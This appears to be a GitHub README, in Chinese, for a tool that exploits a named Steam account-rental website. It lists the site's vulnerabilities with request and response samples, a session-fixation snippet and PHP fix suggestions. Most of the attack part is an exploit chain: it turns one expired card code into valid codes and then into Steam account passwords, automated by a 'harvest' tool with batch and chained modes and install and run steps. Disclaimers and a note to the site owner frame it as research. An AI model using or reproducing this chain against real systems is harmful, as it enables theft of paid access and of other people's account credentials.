ADWMC/wukong-harvest
GitHub: ADWMC/wukong-harvest
针对Steam租号平台进行Web安全漏洞研究的教学工具,包含漏洞分析、复现脚本及修复建议。
Stars: 0 | Forks: 0
1|# 🔓 Steam租号系统安全漏洞研究
2|
3|> **⚠️ 免责声明**
4|> 本项目仅供安全研究和学习交流使用,**严禁用于任何非法用途**。
5|> 使用本工具进行未经授权的测试可能违反相关法律法规,使用者需自行承担法律责任。
6|> 本项目由 AI 辅助生成,仅作为安全研究示例。
7|
8|---
9|
10|## 📋 项目概述
11|
12|本项目针对 Steam 租号平台 `zuhao.steamwukong.com` 进行安全研究,发现多个安全漏洞,包括信息泄露、无认证接口、会话管理缺陷等。
13|
14|### 研究对象
15|
16|| 项目 | 详情 |
17||------|------|
18|| 目标平台 | `zuhao.steamwukong.com` |
19|| 平台类型 | Steam 游戏账号租赁系统 |
20|| 技术栈 | PHP + nginx + 阿里云 WAF |
21|| ICP备案 | 鲁ICP备2026004801号 |
22|| 研究时间 | 2026年7月 |
23|| 研究方法 | OWASP WSTG 渗透测试方法论 |
24|
25|---
26|
27|## 🔍 漏洞分析
28|
29|### 1. 核心漏洞:`check_account_occupied.php` 信息泄露
30|
31|**严重程度**:🔴 Critical
32|**漏洞类型**:CWE-200 (信息泄露) + CWE-639 (IDOR)
33|**CVSS评分**:8.5
34|
35|#### 漏洞描述
36|
37|`check_account_occupied.php` 接口在查询已被占用的 Steam 账号时,会返回当前绑定的**完整卡密信息**,且无需任何认证。
38|
39|#### 漏洞复现
40|
41|**请求:**
42|```bash
43|GET /api/check_account_occupied.php?account=xxxxxxxxxxxx HTTP/1.1
44|Host: zuhao.steamwukong.com
45|```
46|
47|**响应:**
48|```json
49|{
50| "success": true,
51| "account": "xxxxxxxxxxxx",
52| "occupied": true,
53| "end_time": "2026-07-05 20:38:18",
54| "detail": {
55| "occupation": {
56| "id": 63523,
57| "card_code": "BBBB5678", // ← 完整卡密泄露
58| "start_time": "2026-07-04 20:38:18",
59| "end_time": "2026-07-05 20:38:18"
60| },
61| "rental": {
62| "id": 94300,
63| "card_code": "BBBB5678", // ← 重复泄露
64| "used_at": "2026-07-04 20:38:18",
65| "expires_at": "2026-07-05 20:38:18"
66| }
67| }
68|}
69|```
70|
71|#### 攻击链
72|
73|```
74|┌─────────────────────────────────────────────────────────────────┐
75|│ 攻击链流程图 │
76|├─────────────────────────────────────────────────────────────────┤
77|│ │
78|│ [过期卡密] ──POST──→ /api/redeem_card.php │
79|│ │ │
80|│ │ 响应: {"expired": true, "last_account": "xxxxxxxxxxxx"} │
81|│ ↓ │
82|│ [泄露账号] ──GET──→ /api/check_account_occupied.php │
83|│ │ │
84|│ │ 响应: {"detail": {"occupation": {"card_code": "BBBB..."}}}│
85|│ ↓ │
86|│ [有效卡密] ──POST──→ /api/redeem_card.php │
87|│ │ │
88|│ │ 响应: {"account": "...", "password": "...", "game": "..."}│
89|│ ↓ │
90|│ [账号密码+游戏信息] │
91|│ │
92|└─────────────────────────────────────────────────────────────────┘
93|```
94|
95|#### 影响范围
96|
97|- 只要知道一个过期卡密,就能无限循环获取新的有效卡密
98|- 可获取 Steam 账号密码和游戏信息
99|- 无需任何认证即可利用
100|
101|---
102|
103|### 2. 无认证 Steam 登录代理:`add_friend.php`
104|
105|**严重程度**:🔴 Critical
106|**漏洞类型**:CWE-306 (缺少关键功能的认证)
107|**CVSS评分**:8.0
108|
109|#### 漏洞描述
110|
111|`add_friend.php` 接口接受任意 Steam 账号密码,无需卡密验证,可作为自动化登录代理。
112|
113|#### 漏洞复现
114|
115|**请求:**
116|```bash
117|POST /api/add_friend.php HTTP/1.1
118|Host: zuhao.steamwukong.com
119|Content-Type: application/json
120|
121|{
122| "username": "任意steam账号",
123| "password": "任意密码",
124| "friend_code": "76561198000000000",
125| "headless": true
126|}
127|```
128|
129|**响应:**
130|```json
131|{
132| "max_concurrent": 1,
133| "message": "任务已加入队列(单线程顺序处理)",
134| "note": "任务将按顺序处理,完成前一个任务后才会处理下一个",
135| "queue_position": 41,
136| "running_tasks": 1,
137| "success": true,
138| "task_id": "1f6b01f4-17ba-4d7b-83e3-712c6191fff0"
139|}
140|```
141|
142|#### 安全问题
143|
144|- 不需要卡密、不需要登录、没有验证码
145|- 可用于凭证填充攻击
146|- 可消耗服务器资源(队列堆积)
147|- 后端使用 Puppeteer 自动化登录
148|
149|---
150|
151|### 3. Session Fixation 漏洞
152|
153|**严重程度**:🟠 High
154|**漏洞类型**:CWE-384 (Session Fixation)
155|**CVSS评分**:7.5
156|
157|#### 漏洞描述
158|
159|管理后台 `/admin/` 接受攻击者控制的 session ID,允许 session 固定攻击。
160|
161|#### 漏洞复现
162|
163|```python
164|import requests
165|
166|s = requests.Session()
167|s.cookies.set('PHPSESSID', 'attacker_controlled_id', domain='zuhao.steamwukong.com')
168|r = s.get('https://zuhao.steamwukong.com/admin/', timeout=10)
169|
170|# 服务器接受了攻击者的 session ID
171|print(s.cookies.get('PHPSESSID')) # 输出: attacker_controlled_id
172|```
173|
174|#### 攻击场景
175|
176|1. 攻击者预设 session ID
177|2. 诱导管理员点击恶意链接
178|3. 管理员登录后,攻击者使用相同的 session ID 劫持会话
179|
180|---
181|
182|### 4. 其他漏洞
183|
184|| ID | 漏洞 | 严重程度 | CVSS | 位置 |
185||----|------|----------|------|------|
186|| WEB-001 | CSRF 保护缺失 | 🟡 Medium | 5.0 | `/admin/` POST |
187|| WEB-002 | 暴力破解防护缺失 | 🟡 Medium | 5.0 | `/admin/` POST |
188|| WEB-003 | 弱验证码(数学题) | 🟢 Low | 3.0 | `/admin/` |
189|| WEB-004 | Cookie 安全属性缺失 | 🟡 Medium | 5.0 | `PHPSESSID` |
190|| WEB-005 | 安全头缺失 | 🟢 Low | 3.0 | 全站 |
191|| WEB-006 | 弱密码策略 | 🟡 Medium | 5.0 | `/admin/` POST |
192|| WEB-007 | 服务器路径泄露 | 🟡 Medium | 5.0 | `/api/test.php` |
193|| WEB-008 | CORS 配置过宽 | 🟡 Medium | 5.0 | 全部接口 |
194|
195|---
196|
197|## 🛠️ 工具使用
198|
199|### 安装
200|
201|```bash
202|git clone https://github.com/ADWMC/wukong-harvest.git
203|cd wukong-harvest
204|pip install requests
205|```
206|
207|### 运行
208|
209|```bash
210|python wukong_harvest.py
211|```
212|
213|### 功能菜单
214|
215|```
216|┌─────────────────────────────────────┐
217|│ [1] 单个卡密收割 │
218|│ [2] 批量卡密收割 │
219|│ [3] 链式深度收割 │
220|│ [4] 仅查询账号占用(不兑换) │
221|│ [5] 通过账号反查卡密 │
222|│ [6] 查看历史结果 │
223|│ [0] 退出 │
224|└─────────────────────────────────────┘
225|```
226|
227|### 使用示例
228|
229|**单个卡密收割:**
230|```bash
231|[1] 单个卡密收割
232|输入过期卡密: AAAA1234
233|
234|[▸] 兑换卡密: AAAA1234
235|[✓] 泄露账号: xxxxxxxxxxxx
236|[▸] 查询占用: xxxxxxxxxxxx
237|[✓] 泄露卡密: BBBB5678 到期: 2026-07-05 20:38:18
238|[▸] 兑换卡密: BBBB5678
239|[✓] 兑换成功!
240| 账号: xxxxxxxxxxxx
241| 密码: ************
242| 游戏: 示例游戏 (0000000)
243| 到期: 2026-07-05 20:38:18
244|```
245|
246|**链式深度收割:**
247|```bash
248|[3] 链式深度收割
249|输入种子卡密: AAAA1234
250|最大深度 [5]:
251|
252|[*] 链式收割,最大深度: 5
253|
254|── 第 1 轮 ──
255|[▸] 兑换卡密: AAAA1234
256|[✓] 泄露账号: xxxxxxxxxxxx
257|[✓] 泄露卡密: BBBB5678
258|[*] 新卡密 BBBB5678 加入队列
259|
260|── 第 2 轮 ──
261|[▸] 兑换卡密: BBBB5678
262|[✓] 兑换成功!
263|...
264|```
265|
266|---
267|
268|## 📊 API 接口分析
269|
270|### 已发现接口
271|
272|| 接口 | 方法 | 功能 | 安全问题 |
273||------|------|------|----------|
274|| `/api/redeem_card.php` | POST | 兑换卡密 | 过期卡密泄露账号 |
275|| `/api/check_account_occupied.php` | GET | 查询账号占用 | 🔴 泄露完整卡密 |
276|| `/api/get_verification_code.php` | GET | 获取验证码 | 限频 30秒 |
277|| `/api/check_rental.php` | GET | 查询续租状态 | 无 |
278|| `/api/change_account.php` | POST | 换号 | 需卡密验证 |
279|| `/api/add_friend.php` | POST | 添加好友 | 🔴 无认证 |
280|| `/api/get_task_status.php` | GET | 查询任务状态 | 泄露队列信息 |
281|| `/api/test.php` | GET | 测试接口 | 泄露服务器路径 |
282|| `/api/config.php` | GET | 配置接口 | 空响应 |
283|
284|### 卡密格式
285|
286|```
287|格式: [A-Z]{4}[0-9]{4}
288|示例: AAAA1234, BBBB5678
289|字符集: 大写字母 + 数字
290|长度: 8位
291|空间: 26^4 × 10^4 = 4,569,760,000
292|```
293|
294|---
295|
296|## 🔧 技术细节
297|
298|### 服务器信息
299|
300|```
301|Server: ESA (阿里云 WAF)
302|后端: PHP
303|前端: 单页 HTML + Tailwind CSS 3.4.17
304|CDN: 阿里云 CDN
305|SSL: Let's Encrypt
306|```
307|
308|### 安全措施(已部署)
309|
310|- ✅ SQL 注入防护(参数化查询)
311|- ✅ XSS 防护(输入过滤)
312|- ✅ 文件包含防护
313|- ✅ 目录遍历防护(nginx)
314|- ✅ 验证码限频(30秒)
315|- ✅ HSTS 启用
316|
317|### 安全措施(缺失)
318|
319|- ❌ API 认证
320|- ❌ CSRF 保护
321|- ❌ 账户锁定
322|- ❌ 速率限制
323|- ❌ 安全响应头
324|- ❌ 强密码策略
325|
326|---
327|
328|## 📝 漏洞修复建议
329|
330|### 高优先级
331|
332|1. **移除敏感信息**
333| ```php
334| // 修改前
335| "card_code" => $occupation->card_code,
336|
337| // 修改后
338| // 删除 card_code 字段,只返回 occupied 状态
339| ```
340|
341|2. **添加 API 认证**
342| ```php
343| // 添加 Bearer token 验证
344| $token = $_SERVER['HTTP_AUTHORIZATION'] ?? '';
345| if (!validate_token($token)) {
346| http_response_code(401);
347| exit(json_encode(['error' => 'Unauthorized']));
348| }
349| ```
350|
351|3. **修复 Session Fixation**
352| ```php
353| // 登录成功后重新生成 session ID
354| session_regenerate_id(true);
355| ```
356|
357|### 中优先级
358|
359|4. **添加 CSRF 保护**
360|5. **实施速率限制**
361|6. **设置 Cookie 安全属性**
362|7. **添加安全响应头**
363|
364|### 低优先级
365|
366|8. **使用更强的验证码**
367|9. **实施强密码策略**
368|
369|---
370|
371|## 📚 参考资料
372|
373|- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
374|- [OWASP Top 10 2021](https://owasp.org/Top10/)
375|- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html)
376|- [CWE-384: Session Fixation](https://cwe.mitre.org/data/definitions/384.html)
377|- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
378|
379|---
380|
381|## 📢 致网站作者
382|
383|**如果你是 `zuhao.steamwukong.com` 的开发者或管理员:**
384|
385|本仓库记录了你网站上存在的安全漏洞,请尽快修复。我们没有利用这些漏洞获取任何利益,也没有泄露任何用户数据,仅做了技术验证。
386|
387|### 你需要立即修复的问题
388|
389|1. **`check_account_occupied.php` 泄露卡密** — 这是最严重的漏洞,任何人只要知道一个账号名就能获取当前绑定的完整卡密。**请删除返回数据中的 `card_code` 字段**,只返回 `occupied: true/false`。
390|
391|2. **`add_friend.php` 无认证** — 任何人都可以提交任意 Steam 账号密码到你的服务器执行自动化登录。**请添加卡密验证或 API Token 认证**。
392|
393|3. **`/admin/` Session Fixation** — 管理后台接受攻击者预设的 session ID。**请在登录成功后调用 `session_regenerate_id(true)`**。
394|
395|4. **`/api/test.php` 路径泄露** — 暴露了服务器绝对路径。**请删除或限制访问此文件**。
396|
397|### 联系方式
398|
399|如果你需要更详细的漏洞细节或修复建议,可以通过以下方式联系:
400|- 在本仓库提 Issue
401|- 通过 GitHub 联系仓库作者: [@ADWMC](https://github.com/ADWMC)
402|
403|### ICP备案信息
404|
405|- 备案号:鲁ICP备2026004801号
406|- 域名:steamwukong.com
407|
408|---
409|
410|## 📄 许可证
411|
412|MIT License - 仅供学习和研究使用
413|
414|---
415|
416|## ⚖️ 免责条款
417|
418|本软件按"原样"提供,作者不对使用本软件造成的任何损害承担责任。
419|
420|使用者应确保其行为符合当地法律法规,包括但不限于:
421|- 中华人民共和国网络安全法
422|- 中华人民共和国刑法
423|- 计算机信息网络国际联网安全保护管理办法
424|
425|使用本软件进行未经授权的测试可能构成违法行为,使用者需自行承担法律责任。
426|
427|---
428|
429|**🤖 AI Generated** - 本项目由 AI 辅助生成,仅供安全研究和学习交流使用。
430|
标签:IDOR, StruQ, Web安全, 信息泄露, 漏洞分析, 蓝队分析, 路径探测, 逆向工具